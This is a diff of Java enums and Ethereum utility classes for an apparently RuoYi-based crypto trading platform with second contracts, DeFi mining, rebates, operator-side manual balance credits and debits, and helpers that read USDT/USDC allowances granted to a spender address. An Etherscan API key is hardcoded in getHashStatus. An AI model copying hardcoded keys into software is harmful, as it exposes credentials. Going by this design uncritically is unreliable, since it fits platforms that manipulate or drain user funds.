a/ruoyi-common/src/main/java/com/ruoyi/common/enums/NoticeTypeEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/NoticeTypeEnum.java new file mode 100644 index 0000000..2ba33d5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/NoticeTypeEnum.java @@ -0,0 +1,127 @@ +package com.ruoyi.common.enums; + + +import java.util.*; +import java.util.stream.Collectors; + +/** + * 公告管理枚举 + * + */ +public enum NoticeTypeEnum { + INFORMATION_NOTICE("1","公告信息"), + ACTIVITY_NOTICE("2","活动公告"), + ROLL_NOTICE("3","首页滚动公告"), + POP_UPS_NOTICE("4","弹窗公告"), + REGISTER_WELFARE("5","注册福利"); +// WHITE_PAPER("4","白皮书"); + + + NoticeTypeEnum(String code, String value) { + this.code = code; + this.value = value; + } + + private String code; + private String value; + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + /** + * 公告管理二级 + */ + public enum ChildrenEnum { + /** + * 公告信息二级 + */ + LINK_INFORMATION("1","链接弹窗",NoticeTypeEnum.INFORMATION_NOTICE), + TEXT_INFORMATION("2","图文弹窗",NoticeTypeEnum.INFORMATION_NOTICE), + /** + * 活动公告二级 + */ + HOME_ACTIVITY("1","首页轮播活动",NoticeTypeEnum.ACTIVITY_NOTICE), + MINING_ACTIVITY("2","Defi挖矿活动图",NoticeTypeEnum.ACTIVITY_NOTICE), + FINANCE_ACTIVITY("3","理财活动图",NoticeTypeEnum.ACTIVITY_NOTICE), + POP_UPS_NOTICE("4","首页弹窗公告图",NoticeTypeEnum.POP_UPS_NOTICE), + DEFI_POP_UPS_NOTICE("5","DEFI弹窗公告图",NoticeTypeEnum.POP_UPS_NOTICE), + REGISTER_WELFARE_NOTICE("6","新手注册活动",NoticeTypeEnum.REGISTER_WELFARE); + + private String code; + private String value; + private NoticeTypeEnum prent; + + ChildrenEnum(String code, String value, NoticeTypeEnum prent) { + this.code = code; + this.value = value; + this.prent = prent; + } + + public String getCode() { + return code; + } + + public void setCode(String code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + public NoticeTypeEnum getPrent() { + return prent; + } + + public void setPrent(NoticeTypeEnum prent) { + this.prent = prent; + } + + public static List> getChildrenEnum(NoticeTypeEnum parent) { + ChildrenEnum[] values = ChildrenEnum.values(); + List> list = new ArrayList<>(); + for (ChildrenEnum noticeType :values) { + if (noticeType.getPrent().equals(parent)){ + Map resultMap = new HashMap<>(); + resultMap.put("key",noticeType.name()); + resultMap.put("code",noticeType.getCode()); + resultMap.put("value",noticeType.getValue()); + list.add(resultMap); + } + } + return list; + } + + } + + public static List> getEnum(){ + NoticeTypeEnum[] values = NoticeTypeEnum.values(); + List> list = new ArrayList<>(); + for (NoticeTypeEnum noticeType :values) { + Map resultMap = new HashMap<>(); + resultMap.put("key",noticeType.name()); + resultMap.put("code",noticeType.getCode()); + resultMap.put("value",noticeType.getValue()); + resultMap.put("obj",ChildrenEnum.getChildrenEnum(noticeType)); + list.add(resultMap); + } + return list; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java new file mode 100644 index 0000000..bdd143c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java @@ -0,0 +1,24 @@ +package com.ruoyi.common.enums; + +/** + * 操作人类别 + * + * @author ruoyi + */ +public enum OperatorType +{ + /** + * 其它 + */ + OTHER, + + /** + * 后台用户 + */ + MANAGE, + + /** + * 手机端用户 + */ + MOBILE +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OptionRulesEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OptionRulesEnum.java new file mode 100644 index 0000000..3f40ba4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OptionRulesEnum.java @@ -0,0 +1,64 @@ +package com.ruoyi.common.enums; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * 前台文本类型 + */ +public enum OptionRulesEnum { + + PERIOD_EXPLAIN(1,"秒合约说明"), + COIN_EXPLAIN(2,"币币交易说明"), + U_STANDARD_EXPLAIN(4,"U本位合约说明"), + DEFI_EXPLAIN(9,"DEFI挖矿说明"), + PLEDGE_EXPLAIN(10,"质押挖矿说明"), + FINANCIAL_AGREEMENT(8,"理财协议"), + LOANS_RULE(7,"贷款规则"), + AGENCY_ACTIVITY(3,"代理活动"), + PROMOTION_CENTER_EXPLAIN(11,"推广中心"), + TERMS_CLAUSE(0,"服务条款"), + REGISTRY_PRIVACY(5,"注册隐私政策"), + REGISTRY_CLAUSE(6,"注册使用条款"); + + + + OptionRulesEnum(Integer code, String value) { + this.code = code; + this.value = value; + } + + private Integer code; + private String value; + + public Integer getCode() { + return code; + } + + public void setCode(Integer code) { + this.code = code; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + public static List> getEnum(){ + OptionRulesEnum[] values = OptionRulesEnum.values(); + List> list = new ArrayList<>(); + for (OptionRulesEnum optionRules :values) { + Map resultMap = new HashMap<>(); + resultMap.put("key",optionRules.name()); +// resultMap.put("code",optionRules.getCode()); + resultMap.put("value",optionRules.getValue()); + list.add(resultMap); + } + return list; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OssEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OssEnum.java new file mode 100644 index 0000000..879ede6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OssEnum.java @@ -0,0 +1,15 @@ +package com.ruoyi.common.enums; + +/** + * OssEnum + * + * @author Chopper + * @version v1.0 + * 2022-06-06 11:23 + */ +public enum OssEnum { + /** + * + */ + ALI_OSS, MINIO; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/RechargeTypeUncEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RechargeTypeUncEmun.java new file mode 100644 index 0000000..5e8bc87 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RechargeTypeUncEmun.java @@ -0,0 +1,40 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; + +public enum RechargeTypeUncEmun { + USDTERC("USDT-ERC","60"), + USDTTRC("USDT-TRC","195"), + ETH("ETH","60"), + BTC("BTC","0"), + TRX("TRX","195"), + USDCERC("USDC-ERC","60"), + USDC("USDC","60"); + + RechargeTypeUncEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } + + public static String getValue(String code) { + RechargeTypeUncEmun[] betResult= RechargeTypeUncEmun.values(); + RechargeTypeUncEmun result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if(result==null){ + return null; + } + return result.getValue(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecoenOrderStatusEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecoenOrderStatusEmun.java new file mode 100644 index 0000000..a81c4fe --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecoenOrderStatusEmun.java @@ -0,0 +1,22 @@ +package com.ruoyi.common.enums; + +public enum RecoenOrderStatusEmun { + audit("0","待审核"), + pass("1","通过"), + failed("2","不通过"); + + RecoenOrderStatusEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecordEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecordEnum.java new file mode 100644 index 0000000..0940da2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/RecordEnum.java @@ -0,0 +1,82 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; +import java.util.LinkedHashMap; + +public enum RecordEnum { + RECHARGE(1, "充值+"), + WITHDRAW(2, "提现-"), + SEND_BONUS(3, "赠送彩金+"), + SUB_BONUS(50, "扣减彩金-"), + SUB_AMOUNT(4, "人工下分-"), + SEND_AMOUNT(51, "人工上分+"), +/* BTC_MANUAL_SCORING(16, "BTC人工上分+"), + BTC_MANUAL_SUBDIVISION(17, "BTC人工下分-"), + ETH_MANUAL_SCORING(18, "ETH人工上分+"), + ETH_MANUAL_SUBDIVISION(19, "ETH人工下分-"),*/ + OPTION_BETTING(5, "秒合约下注-"), + FINANCIAL_PURCHASE(6, "理财购买-"), + FINANCIAL_SETTLEMENT(7, "理财结算+"), + WITHDRAWAL_FAILED(8, "提现失败+"), + OPTION_SETTLEMENT(9, "秒合约结算+"), + CURRENCY_EXCHANGE_ADD(10, "币种兑换+"), + CURRENCY_CONVERSION_SUB(11, "币种兑换-"), + MINING_TO_BUY(12, "挖矿购买"), + MINING_REBATE(13, "挖矿返息"), + MINING_REDEMPTION(14, "挖矿赎回"), + MINING_SETTLEMENT(15, "挖矿结算"), + NON_STAKING_MINING_INCOME(20, "矿池收益"), + CURRENCY_TRADINGADD(21, "币币交易+"), + CURRENCY_TRADINGSUB(22, "币币交易-"), + ASSET_ACCOUNTADD(23, "资产账户+"), + ASSET_ACCOUNTSUB(24, "资产账户-"), + TRANSACTION_ACCOUNTADD(25, "交易账户+"), + TRANSACTION_ACCOUNTSUB(26, "交易账户-"), + CONTRACT_TRANSACTIONSUB(27, "合约交易-"), + CONTRACT_TRANSACTION_CLOSING(28, "合约交易平仓"), + CONTRACT_TRADING_ADJUSTMENT_MARGIN(29, "合约交易调整保证金"), + CONTRACT_TRADING_LIQUIDATION(30, "合约交易强平"), + AIRDROP_EVENT_REWARDS(31, "空投活动奖励"), + SUBORDINATE_RECHARGE_REBATE(32, "下级充值返利"), + SUBORDINATE_MINING_REBATE(33, "下级挖矿返利"), + FINANCIAL_REBATE(34, "下级理财返利"), + FUND_TRANSFER(35, "资金划转"), + DEFI_ACTIVITY(36, "空投活动"), + DEFI_ORDER(37, "defi挖矿"), + LOAD_ORDER(38, "助力贷"), + OWN_COIN_BUY(52, "新币申购"), + CONTRACT_ADD(53,"追加合约本金"), + CONTRACT_ADD_AMOUT(54,"追加保证金"), + FINANCIAL_REDEMPTION(55, "理财赎回"), + ; + private final Integer code; + private final String desc; + + RecordEnum(Integer code, String info) { + this.code = code; + this.desc = info; + } + + public Integer getCode() { + return code; + } + + public String getInfo() { + return desc; + } + + + public static LinkedHashMap getMap() { + LinkedHashMap map = new LinkedHashMap<>(); + Arrays.stream(RecordEnum.values()).forEach(recordEnum -> { + map.put(recordEnum.getCode(), recordEnum.getInfo()); + }); + return map; + + } + + public static void main(String[] args) { + LinkedHashMap map = getMap(); + System.out.println(map); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/SettingEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/SettingEnum.java new file mode 100644 index 0000000..c3c8ae4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/SettingEnum.java @@ -0,0 +1,79 @@ +package com.ruoyi.common.enums; + +/** + * 系统设置常量 + * + * @author Chopper + * @since 2020/9/11 17:03 + */ +public enum SettingEnum { + //基础配置 + BASE_SETTING, + //邮箱配置 + EMAIL_SETTING, + //阿里OSS配置 + OSS_SETTING, + //短信配置 + SMS_SETTING, + //IM 配置 + IM_SETTING, + //充值通道配置 + ASSET_COIN, + //登录注册 开关 + LOGIN_REGIS_SETTING, + //market 地址 + MARKET_URL, + //侧边栏 + APP_SIDEBAR_SETTING, + //贷款配置 + LOAD_SETTING, + //提现通道配置 + WITHDRAWAL_CHANNEL_SETTING, + //理财结算配置 + FINANCIAL_SETTLEMENT_SETTING, + //平台设置 + PLATFORM_SETTING, + //后台ip控制 + WHITE_IP_SETTING, + //客服设置 + SUPPORT_STAFF_SETTING, + //充值返佣 + RECHARGE_REBATE_SETTING, + //理财返佣 + FINANCIAL_REBATE_SETTING, + //挖框结算 + MING_SETTLEMENT_SETTING, + //冲提语音包配置 + WITHDRAWAL_RECHARGE_VOICE, + //白皮书 + WHITE_PAPER_SETTING, + //defi挖矿收益配置 + DEFI_INCOME_SETTING, + //玩法配置 + PLAYING_SETTING, + //头部Tab平台 理财 合约 + TAB_SETTING, + //底部菜单 + BOTTOM_MENU_SETTING, + //金刚区 + MIDDLE_MENU_SETTING, + //logo配置 + LOGO_SETTING, + //首页币种配置 + HOME_COIN_SETTING, + //下载地址配置 + DOWNLOAD_SETTING, + //TG机器人配置 + TG_BOT_SETTING, + //提现实名限额 + AUTH_LIMIT, + //三方充提配置 + THIRD_CHANNL, + //vip等级配置 + VIP_LEVEL_SETTING, + //vip 说明 + VIP_DIRECTIONS_SETTING, + + ADD_MOSAIC_SETTING, + ; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/ThirdTypeUncEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ThirdTypeUncEmun.java new file mode 100644 index 0000000..e64ce00 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/ThirdTypeUncEmun.java @@ -0,0 +1,37 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; + +/** + * 三方充值 + */ +public enum ThirdTypeUncEmun { + UNCDUN("U盾","301"); + + ThirdTypeUncEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } + + public static String getValue(String code) { + ThirdTypeUncEmun[] betResult= ThirdTypeUncEmun.values(); + ThirdTypeUncEmun result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if(result==null){ + return null; + } + return result.getValue(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserBlackEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserBlackEnum.java new file mode 100644 index 0000000..3bfe8aa --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserBlackEnum.java @@ -0,0 +1,37 @@ +package com.ruoyi.common.enums; + +/** + * 黑名单 + */ +public enum UserBlackEnum { + + + /** + * 正常用户 + */ + NORMAL(1,"正常用户"), + + /** + * 拉黑用户 + */ + BLOCK(2,"拉黑用户"), + + + ; + private Integer code; + + private String value; + + public Integer getCode() { + return code; + } + + public String getValue() { + return value; + } + + UserBlackEnum(Integer code, String value){ + this.code = code; + this.value = value; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserCodeTypeEnum.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserCodeTypeEnum.java new file mode 100644 index 0000000..e93a339 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserCodeTypeEnum.java @@ -0,0 +1,38 @@ +package com.ruoyi.common.enums; + +public enum UserCodeTypeEnum { + + + /** + * 登录 + */ + LOGIN, + + /** + * 注册 + */ + REGISTER, + + /** + * 找回用户 + */ + FIND_USER , + /** + * 找回用户 + */ + FIND_PASSWORD , + /** + * 修改密码 + */ + UPD_PASSWORD, + + /** + * 绑定 + */ + BIND, + /** + * 提现 + */ + WITHDRAW, + ; +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java new file mode 100644 index 0000000..d7ff44a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java @@ -0,0 +1,30 @@ +package com.ruoyi.common.enums; + +/** + * 用户状态 + * + * @author ruoyi + */ +public enum UserStatus +{ + OK("0", "正常"), DISABLE("1", "停用"), DELETED("2", "删除"); + + private final String code; + private final String info; + + UserStatus(String code, String info) + { + this.code = code; + this.info = info; + } + + public String getCode() + { + return code; + } + + public String getInfo() + { + return info; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/WalletType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WalletType.java new file mode 100644 index 0000000..f17c0d1 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WalletType.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.enums; + +public enum WalletType { + ETH("以太坊"), + TRON("波场"); + + private final String desc; + + WalletType(String desc) { + this.desc = desc; + } + + public String getDesc() + { + return desc; + } + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/WithdrawTypeUncEmun.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WithdrawTypeUncEmun.java new file mode 100644 index 0000000..66d825e --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/enums/WithdrawTypeUncEmun.java @@ -0,0 +1,37 @@ +package com.ruoyi.common.enums; + +import java.util.Arrays; + +public enum WithdrawTypeUncEmun { + USDTERC("USDT-ERC","USDT-ERC20"), + USDTTRC("USDT-TRC","USDT-TRC20"), + ETH("ETH","ETH"), + BTC("BTC","BTC"); + + WithdrawTypeUncEmun(String code, String value) { + this.code = code; + this.value = value; + } + private String code; + private String value; + + public String getCode() { + return code; + } + + public String getValue() { + return value; + } + + public static String getValue(String code) { + WithdrawTypeUncEmun[] betResult= WithdrawTypeUncEmun.values(); + WithdrawTypeUncEmun result = Arrays.asList(betResult).stream() + .filter(i -> i.getCode().equals(code)) + .findFirst().orElse(null); + if(result==null){ + return null; + } + return result.getValue(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/Account.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Account.java new file mode 100644 index 0000000..7dcc26a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Account.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.eth; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class Account { + private String prefix; + private String account; + private String address; + private String pKey; + //私钥路径 + private String walletFile; + private BigDecimal balance = BigDecimal.ZERO; + //地址燃料余额,对Token,USDT有用 + private BigDecimal gas = BigDecimal.ZERO; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/Contract.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Contract.java new file mode 100644 index 0000000..243df11 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/Contract.java @@ -0,0 +1,20 @@ +package com.ruoyi.common.eth; + +import lombok.Data; +import org.apache.commons.lang3.StringUtils; + +import java.math.BigInteger; + +@Data +public class Contract { + //合约精度 + private String decimals; + //合约地址 + private String address; + private BigInteger gasLimit; + private String eventTopic0; + public EthConvert.Unit getUnit(){ + if(StringUtils.isEmpty(decimals))return EthConvert.Unit.ETHER; + else return EthConvert.Unit.fromString(decimals); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/ContractConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/ContractConfig.java new file mode 100644 index 0000000..7f3e033 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/ContractConfig.java @@ -0,0 +1,21 @@ +package com.ruoyi.common.eth; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +/** + * 自动配置合约参数 + */ +@Configuration +@ConditionalOnProperty(name="contract.address") +public class ContractConfig { + + @Bean + @ConfigurationProperties(prefix = "contract") + public Contract getContract(){ + return new Contract(); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthConvert.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthConvert.java new file mode 100644 index 0000000..cfb4cbb --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthConvert.java @@ -0,0 +1,66 @@ +package com.ruoyi.common.eth; + +import java.math.BigDecimal; + +public class EthConvert { + private EthConvert() { } + + public static BigDecimal fromWei(String number, Unit unit) { + return fromWei(new BigDecimal(number), unit); + } + + public static BigDecimal fromWei(BigDecimal number, Unit unit) { + return number.divide(unit.getWeiFactor()); + } + + public static BigDecimal toWei(String number, Unit unit) { + return toWei(new BigDecimal(number), unit); + } + + public static BigDecimal toWei(BigDecimal number, Unit unit) { + return number.multiply(unit.getWeiFactor()); + } + + public enum Unit { + WEI("wei", 0), + KWEI("kwei", 3), + WWEI("wwei", 4), + MWEI("mwei", 6), + LWEI("lwei", 8), + GWEI("gwei", 9), + SZABO("szabo", 12), + FINNEY("finney", 15), + ETHER("ether", 18), + KETHER("kether", 21), + METHER("mether", 24), + GETHER("gether", 27); + + private String name; + private BigDecimal weiFactor; + + Unit(String name, int factor) { + this.name = name; + this.weiFactor = BigDecimal.TEN.pow(factor); + } + + public BigDecimal getWeiFactor() { + return weiFactor; + } + + @Override + public String toString() { + return name; + } + + public static Unit fromString(String name) { + if (name != null) { + for (Unit unit : Unit.values()) { + if (name.equalsIgnoreCase(unit.name)) { + return unit; + } + } + } + return Unit.valueOf(name); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthUtils.java new file mode 100644 index 0000000..b44781f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/eth/EthUtils.java @@ -0,0 +1,541 @@ +package com.ruoyi.common.eth; + + +import cn.hutool.http.HttpUtil; + +import com.alibaba.fastjson2.JSONObject; +import com.fasterxml.jackson.databind.ObjectMapper; + +import com.google.gson.Gson; +import com.ruoyi.common.trc.TransactionResult; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.stereotype.Component; +import org.web3j.abi.FunctionEncoder; +import org.web3j.abi.FunctionReturnDecoder; +import org.web3j.abi.TypeReference; +import org.web3j.abi.datatypes.Address; +import org.web3j.abi.datatypes.Function; +import org.web3j.abi.datatypes.Type; +import org.web3j.abi.datatypes.generated.Uint256; +import org.web3j.crypto.*; +import org.web3j.protocol.ObjectMapperFactory; +import org.web3j.protocol.Web3j; +import org.web3j.protocol.core.DefaultBlockParameterName; +import org.web3j.protocol.core.Request; +import org.web3j.protocol.core.methods.request.Transaction; +import org.web3j.protocol.core.methods.response.*; +import org.web3j.protocol.http.HttpService; +import org.web3j.tx.gas.DefaultGasProvider; +import org.web3j.utils.Convert; +import org.web3j.utils.Numeric; + +import java.io.*; +import java.math.BigDecimal; +import java.math.BigInteger; +import java.math.RoundingMode; +import java.net.ConnectException; +import java.security.InvalidAlgorithmParameterException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.*; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; + +@Component +public class EthUtils { + + private static String apiKey; + + @Value("${api.key}") + public void setApiKey(String apiKeys) { + apiKey = apiKeys; + } + + private static String ethKey; + + @Value("${api.eth.key}") + public void setEthKey(String ethKey1) { + ethKey = ethKey1; + } + + private static String web3jUrl; + @Value("${web3j.url}") + public void setWeb3jUrl(String web3jUrls) { + web3jUrl = web3jUrls; + } + + + /** + * 获取ERC-20 token指定地址余额 + * + * @param address 查询地址 + * @param contractAddress 合约地址 + * @return + * @throws ExecutionException + * @throws InterruptedException + */ + private static final BigDecimal WEI = new BigDecimal(1000000); + public static final String usdtAddr = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; + public static final String usdcAddr = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; + public static final Logger log = LoggerFactory.getLogger(EthUtils.class); + public static Web3j web3j; + public static String balanceUrl = "https://api.etherscan.io/api?module=account&action=balance&tag=latest&apikey="; + public static String usdtUrl = "https://api.etherscan.io/api?module=account&action=tokenbalance&contractaddress=0xdAC17F958D2ee523a2206206994597C13D831ec7&tag=latest&apikey="; + public static String usdcUrl = "https://api.etherscan.io/api?module=account&action=tokenbalance&contractaddress=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48&tag=latest&apikey="; + + + + //fromAddr授权toAddr的U额度 + public static String getAllowance(String fromAddr, String toAddr) { + try { + web3j= Web3j.build(new HttpService(web3jUrl)); + String methodName = "allowed"; + List inputParameters = new ArrayList<>(); + List> outputParameters = new ArrayList<>(); + Address fromAddress = new Address(fromAddr); + Address toAddress = new Address(toAddr); + inputParameters.add(fromAddress); + inputParameters.add(toAddress); + TypeReference typeReference = new TypeReference() {}; + outputParameters.add(typeReference); + Function function = new Function(methodName, inputParameters, outputParameters); + String data = FunctionEncoder.encode(function); + Transaction transaction = Transaction.createEthCallTransaction(toAddr, usdtAddr, data); + EthCall ethCall; + BigDecimal balanceValue = BigDecimal.ZERO; + try { + ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send(); + List results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters()); + BigDecimal value = BigDecimal.ZERO; + if(results != null && results.size()>0){ + value = new BigDecimal((String.valueOf(results.get(0).getValue()))); + } + balanceValue = value.divide(WEI, 6, RoundingMode.HALF_DOWN); + } catch (IOException e) { + log.error(e.getMessage()); + } + return balanceValue.toString(); + + }catch (Exception e){ + log.error(e.getMessage()); + } + return null; + } + + public static void main(String[] args) { + String usdcAllowance = getAllowance("0xaf4ed95c3738474c61d64de522e9f22a0029c545", "0x8d6dee13685299c487f461faa83d4d96531c1b6f"); + System.out.println(usdcAllowance); + } + + /* public static void main(String[] args) { + Web3j web3j = Web3j.build(new HttpService("https://mainnet.infura.io/v3/cf9c5052761445cda17be62ae2c669c7")); + + // 代币合约地址和USDC代币的地址0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 + String usdcContractAddress = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // USDC合约地址 + String yourAddress = "0x8d6dee13685299c487f461faa83d4d96531c1b6f"; + String spenderAddress = "0xaf4ed95c3738474c61d64de522e9f22a0029c545"; + + // 创建一个智能合同函数调用来查询授权额度 + List inputParameters = new ArrayList<>(); + inputParameters.add(new Address(yourAddress)); + inputParameters.add(new Address(spenderAddress)); + Function function = new Function( + "allowance", + inputParameters, + Arrays.asList(new TypeReference() {}) + ); + + String data = FunctionEncoder.encode(function); + + // 创建一个只读(eth_call)交易以查询授权额度 + org.web3j.protocol.core.methods.request.Transaction ethCallTransaction = org.web3j.protocol.core.methods.request.Transaction + .createEthCallTransaction(yourAddress, usdcContractAddress, data); + + try { + EthCall ethCall = web3j.ethCall(ethCallTransaction, DefaultBlockParameterName.LATEST).send(); + + if (ethCall.hasError()) { + System.out.println("Error: " + ethCall.getError().getMessage()); + } else { + List results = FunctionReturnDecoder.decode( + ethCall.getResult(), function.getOutputParameters()); + + if (!results.isEmpty()) { + Uint256 allowance = (Uint256) results.get(0); + BigInteger allowanceValue = allowance.getValue(); + + // 将Wei转换为USDC单位(通常是6位小数) + BigDecimal usdcValue = new BigDecimal(allowanceValue).divide(BigDecimal.TEN.pow(6)); + System.out.println("授权额度: " + usdcValue.toPlainString()); + + } else { + System.out.println("没有授权额度数据"); + } + } + } catch (IOException e) { + e.printStackTrace(); + } + }*/ + + public static String getUsdcAllowance(String fromAddr, String toAddr) { + Web3j web3j = Web3j.build(new HttpService(web3jUrl)); + // 代币合约地址和USDC代币的地址0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 + String usdcContractAddress = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // USDC合约地址 + String yourAddress = fromAddr; + String spenderAddress = toAddr; + + // 创建一个智能合同函数调用来查询授权额度 + List inputParameters = new ArrayList<>(); + inputParameters.add(new Address(yourAddress)); + inputParameters.add(new Address(spenderAddress)); + Function function = new Function( + "allowance", + inputParameters, + Arrays.asList(new TypeReference() {}) + ); + String data = FunctionEncoder.encode(function); + // 创建一个只读(eth_call)交易以查询授权额度 + org.web3j.protocol.core.methods.request.Transaction ethCallTransaction = org.web3j.protocol.core.methods.request.Transaction + .createEthCallTransaction(yourAddress, usdcContractAddress, data); + + try { + EthCall ethCall = web3j.ethCall(ethCallTransaction, DefaultBlockParameterName.LATEST).send(); + + if (ethCall.hasError()) { + log.info("Error: " + ethCall.getError().getMessage()); + } else { + List results = FunctionReturnDecoder.decode( + ethCall.getResult(), function.getOutputParameters()); + BigDecimal value= BigDecimal.ZERO; + if (!results.isEmpty()) { + value = new BigDecimal((String.valueOf(results.get(0).getValue()))); + // 将Wei转换为USDC单位(通常是6位小数) + BigDecimal usdcValue = value.divide(WEI, 6, RoundingMode.HALF_DOWN); + log.info("授权usdc额度"+usdcValue); + return usdcValue.toPlainString(); + } else { + log.info("没有授权额度数据"); + return value.toPlainString(); + } + } + } catch (IOException e) { + e.printStackTrace(); + } + return null; + } + public static String getHashStatus(String hash){ + // 0 成功 1失败 + String s = HttpUtil.get("https://api.etherscan.io/api" + + "?module=transaction" + + "&action=getstatus" + + "&txhash=" +hash+ + "&apikey=MIFUK1NUB2ZFNC2A1VB878Q148336UTG7E"); + JSONObject jsonObject = JSONObject.parseObject(s); + String status = jsonObject.getString("status"); + if(status.equals("1")){ + if(jsonObject!=null){ + JSONObject o = jsonObject.getJSONObject("result"); + if(o!=null){ + String isError = o.getString("isError"); + return isError; + } + } + } + return "3"; + } + public static String getERC20Balance(String address) throws ExecutionException, InterruptedException { + String methodName = "balanceOf"; + List inputParameters = new ArrayList<>(); + List> outputParameters = new ArrayList<>(); + Address fromAddress = new Address(address); + inputParameters.add(fromAddress); + + TypeReference typeReference = new TypeReference() { + }; + outputParameters.add(typeReference); + Function function = new Function(methodName, inputParameters, outputParameters); + String data = 